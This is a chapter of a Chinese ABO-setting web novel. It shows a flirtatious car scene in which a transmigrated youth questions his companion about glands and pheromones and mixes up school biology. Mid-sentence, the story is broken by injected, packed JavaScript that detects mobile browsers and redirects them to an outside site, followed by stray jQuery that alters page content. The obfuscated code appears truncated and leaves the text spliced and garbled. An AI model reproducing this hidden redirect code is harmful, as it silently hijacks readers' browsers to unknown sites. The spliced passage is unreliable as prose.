夜色渐浓,城市白日的喧哗渐渐平息,停车的位置在一个居民楼下。
车门被路灯映得倾斜到地的影子纷纷落在卞述的身上,遮住他蕴上过浓情绪的目光。
车内的暖气顺着敞开的车门与又轻又足以勾人心慌的薄荷叶香气阵阵传入他的鼻腔。
陈雾轻喜欢薄荷的清爽味道,提神醒脑,柠檬混薄荷的洗发水,他兜里随身携带的薄荷糖,这些都是证据,可是卞述不知道。
他只知道,现在少年近在咫尺,汽车的窗户框架无形构成了一截拦网,巧妙地分割开落下来的阴影。
他们的影子远比他们本人像一对真正的恋人,无限接近,好像在树影下拥吻。
路灯映下的光圈雾蒙蒙的,眨眼之间,陈雾轻好像笑了,又好像没有,他的眼睛太过漂亮,视线大方地全部给了眼前人,氤氲缱绻,好像在说:怎么啦怎么啦,你为什么不敢看我。
那是一双没有人会忍心不为之动容的眼睛。
敢吗?
不敢。
卞述这几年唯一学会的一个词就是忍耐,潜伏,只有善于等待的人才能得到上场的机会。
他的余光穿过大敞的车门,后车镜上映出他那张脸的全部表情。
他看清了自己眼底黏稠、疯狂,像粘腻水渍潮涌而来的情绪。
刚刚在饭店曾经暴动过的信息素又一次控制不住,此刻,车里几乎完全充斥着那股具有强占有性的信息素味道,来源于他自己。
一个刚刚成年的omega以近乎拥抱的姿势,在车内狭小的空间里,沾染着他全部味道的omega,触碰的的每一块皮肤都在渐渐发烫,一触即发。
用轻悠悠的口吻管他要看腺体,要闻他信息素的味道。
怎么会有一个omega这么…
这么…
卞述形容不上来,他刻意控制自己躁动不安的信息素,这让他的声音听起来突然的冷漠无比:“现在还不是时候,太早了,腺体…不可以。”
他不是不懂事的年纪,他无论做什么,都必须对行为负责。
陈雾轻看着他,语气没有变化:“那就不再车里看,回家让我看吗。”
卞述:“回家也不行。”
他紧抿嘴唇,补充道:“我突然改主意了。”
“奥,好吧。”
陈雾轻答应得太快,卞述连补偿的话都没能说出来。
控诉,说他不讲道理,甚至因为他说话不算数,觉得他是一个不守约的随随便便的人,这些可能性卞述都想过,唯独没想到陈雾轻非常简单的跳过话题。
少年有时给人的非人感很重,就像一只猛兽用锋利的尖齿狠狠穿透了猎物的身体,却把狩猎当成游戏,下一秒立刻不感兴趣转身离开。
陈雾轻垂下眼眸,松开手腕,身形渐渐退了回去,大片凉薄的冷风钻入暖空气里,突兀又明显。
卞述觉得自己好像一只咬中饵钩的河鱼,被执杆人上上下下的钓,松不开,又给他钓得死死的。
他深吸一口气,心脏里乱七八糟的情绪搅得他难受不堪。
陈雾轻慢慢撤回了后座的位置,卞述刚才由着少年拉扯,手撑在车身上,此刻脱离了若即若离的距离接近,他闭了闭眼,准备直起身体。
脖颈却被人忽而搂住,搂紧,卞述毫无准备,下意识地在空气虚抓了下,恰巧误开了放倒后座的按钮。
车门随着不大不小的借力砰地一声关上。
卞述被人按在了车座上。
完全躺倒,陈雾轻一只手撑在他耳边,一只手压在他左腿上方,膝盖好巧不巧地顶在座椅上。
车内完全封闭的空间沉得温度更加浓烈,似有什么一点即燃,隐隐绰绰的静暗环境下,夜晚的霓虹闪烁尽在少年眼中。
映出五彩斑斓的景色,同样,映着他。
陈雾轻是一个很轴的小孩,固执,犟,不听劝,他想要得到一个东西一定会拼尽全力拿到。
卞述不给他解释腺体是什么。
为什么呢?
腺体是什么很隐晦的器.官吗?
它长什么样子?
这些问题构成了一个想要从卞述口中得到答案的陈雾轻。
他意识不到这个姿势比刚才还要暧昧,衣服领口随着下落一寸,能看见他尖尖凸凸的喉结,棱角分明的锁骨,匀称的体型包括大片的胸.前皮肤。
卞述立刻紧闭双眼,这次却没能成功,陈雾轻的手指抚在他下巴处,望望他,又戳戳他的眼底,像是作怪似的:“你为什么要闭眼?”
“不要闭上眼睛,看看我嘛,我长得不可怕。”
含糊不清的语气让整句话无意间变得黏糊糊的,拖着长长的尾音,又轻又飘,比云端的飞机尾迹还令人抓不住。
至少卞述的耳朵蹭一下就红了。
他从来没有听过这样讲话的陈雾轻。
像是撒娇一样。
更何况何止是不可怕,完全就是好看的极端。
卞述不睁眼,陈雾轻也没有不依不饶,他想了一会儿,问:“你知道孟德尔吗?”
“孟德尔豌豆实验。”
卞述觉得自己听错了,他试图跟上少年的思绪:“你说的是人名吗?”
“好吧,没事你当我没问。”
陈雾轻更加觉得震惊,卞述在试图理解他,他在试图理解abo世界,这个世界豌豆种实验都没有的话,怎么做基因题?
他又问:“还有我刚刚说的腺体。”
陈雾轻感受到他手掌下来自另一个人的血管倏然跳快了许多,他没空管这个:“腺体是线粒体的儿子器官吗?”
卞述倏然睁开眼睛。
陈雾轻认真道:“线粒体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333163|183342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你总听过吧。”
他也瞪大眼睛:“光合作用不是要用吗?不然我们怎么呼吸?”
卞述觉得自己要疯了,少年离他离得好像不知道距离一样,每次说话都要紧紧凑过来盯着他的眼睛,越发浓郁的薄荷香就在他鼻尖萦绕。
然后他还要想一想早就喂饭吃的初中知识:“……光合作用应该靠叶绿体吧。”
“奥,不好意思。”
他也初中毕业好几年,平时用不上课堂上学的科目,而且天天下副本打丧尸和鬼,早把它们忘到太平洋里去。
陈雾轻礼貌道歉,挠挠脸:“知识有点学杂了。”
卞述觉得好像有什么东西像是脱缰野马一般一发不可收拾,他本来想趁着两句话时间冷静下来。
又听陈雾轻问:“车里这些味道是你的信息素味吗?”
一句话,又把他拉回火山熔炉上。
陈雾轻的鼻子很灵,他刚穿越来的时候总能闻到大街上,马路上,还有别人身上千奇百怪的味道。
他当时没当回事,注意力全在找食物和流浪上面。
等从卫生所出来,他才后知后觉。
喔。
每一个人身上都带有的香味应该就是信息素味,可能类似于体香,但又比体香程度重。
完了,穿越到abo里千万不要干香水行业。容易黄摊。干也行。仅个人想法。
陈雾轻严谨补充道。
此刻,他萌生了好奇,俯下脖颈,鼻子靠近卞述的头发、耳畔、喉咙,他细细地嗅来嗅去,又凑到那里,嗅去嗅来。
最后发现大概在卞述脖颈部位,那种味道最为浓烈。
像一只未被驯化的兽物,喜欢调戏路过它的熟人,用毛茸茸的尾巴在人脚腕处扫来扫去。
那块肌肤会变得很热很痒。
他直起肩膀,举起胳膊放在鼻子下闻了闻确定道:“你的信息素味好浓哦。”
别人都没有卞述的浓,如是一大盆又浓又厚重的油漆突然灌进来,气势汹汹,从头到尾把车里涮了一遍似的。
陈雾轻对感受到的新生事物表示好奇。
他想了半天也没办法对这种味道进行总结。
“我身上全都是你的味道了。”
卞述四肢僵硬,呼吸彻底凝滞,陈雾轻就用那副拖得长长的尾音和他讲:
“好闻哎。”
“我喜欢。”
卞述的声音哑到不行,声音任谁听了都觉得沉得可怕:“…我没听清,你再说一遍。”
“哦。”
“我说。”陈雾轻冲他乖乖应声,表情是没懂但照办的懵懂,一字一句道:
“我喜欢你的信息素味。”
本就岌岌可危的神经再不受控的,一寸寸断开,崩得四分五裂。
卞述想。
真是要了命了。